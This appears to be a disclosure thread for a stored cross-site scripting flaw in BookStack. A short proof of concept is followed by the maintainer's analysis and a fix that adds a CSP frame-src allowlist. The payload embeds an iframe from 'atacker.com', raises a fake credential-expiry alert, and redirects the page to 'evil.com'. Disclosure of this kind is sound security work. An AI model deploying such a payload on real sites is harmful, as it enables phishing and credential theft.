Cross-site Scripting (XSS) - Stored in bookstackapp/bookstack
Mar 5th 2022
Proof of Concept
Tested on firefox.
<!-- phishing.html | change page content to <iframe src="http://atacker.com/phishing.html">--> <script>alert("Your session has expired, Please enter your credential again")</script> <script>window.top.location.href = "http://evil.com"; </script
This vulnerability is capable of phishing and stealing users' data.
Thanks for reporting this @416e6e61. Just before I approve this I just want to confirm that my thinking is correct and that my solution would be suitable:
- The primary issue here is the ability to redirect the parent page.
- This redirect is blocked by browsers by default in cross-origin context (Where this would be dangerous) but a user could simply add
sandbox="allow-top-navigation allow-scripts"to work around this right now so we're still vulnerable.
Within BookStack iframes are used for interactive content, so we'd generally need to still allow scripts (And possibly other interactive content). Therefore, I'm instead thinking we could take the following approach:
- Add a configurable CSP
frame-srcheader rule to limit the sources that iframes can load.
- This will effectively act as a a whitelist for iframe sources.
- By default, we'd set this to a limited range of well-known media sources (Youtube, vimeo etc..)
Is the above correct and would you consider the solution proposed to be one that suitably negates the risk of the vulnerability?
Thanks for the fast response, as you said configuring CSP and only allowing media sources should be a good solution for this, and I can confirm it.
Patch with about whitelist approach now released. Relevant links: https://www.bookstackapp.com/blog/bookstack-release-v22-02-3/ https://github.com/BookStackApp/BookStack/releases/tag/v22.02.3
Thanks again @416e6e61 for reporting!